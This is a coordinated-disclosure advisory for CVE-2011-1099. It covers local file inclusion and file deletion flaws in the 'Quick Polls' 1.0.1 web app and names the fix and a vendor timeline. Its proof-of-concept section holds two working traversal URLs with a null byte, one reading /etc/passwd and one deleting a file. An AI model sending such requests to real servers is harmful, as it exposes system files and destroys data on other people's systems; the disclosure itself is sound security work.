Quick Polls - Local File Inclusion / Deletion

'Quick Polls' Local File Inclusion & Deletion Vulnerabilities (CVE-2011-1099)

Mark Stanislav - mark.stanislav@gmail.com





I. DESCRIPTION

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Two vulnerabilities exist in 'Quick Polls' providing local file inclusion & local file deletion due to null-byte attacks against functions in index.php.



 

II. TESTED VERSION

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1.0.1





III. PoC EXPLOITS

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LFI: http://example.com/quickpolls/?fct=preview&p=../../../../../../../etc/passwd%00

LFD: http://example.com/quickpolls/?fct=delete&p=../../../../../../../tmp/foobar%00





IV. NOTES 

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* magic_quotes_gpc must be disabled for null-byte attacks to work





V. SOLUTION

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Upgrade to 1.0.2 or above





VI. REFERENCES

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http://www.focalmedia.net/create_voting_poll.html

http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2011-1099

http://www.uncompiled.com/2011/03/quick-polls-local-file-inclusion-deletion-vulnerabilities-cve-2011-1099/





VII. TIMELINE

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02/05/2011 - Initial vendor disclosure

02/07/2011 - Vendor patched and released an updated version

02/07/2011 - Confirmed public disclosure date with vendor

03/06/2011 - Public disclosure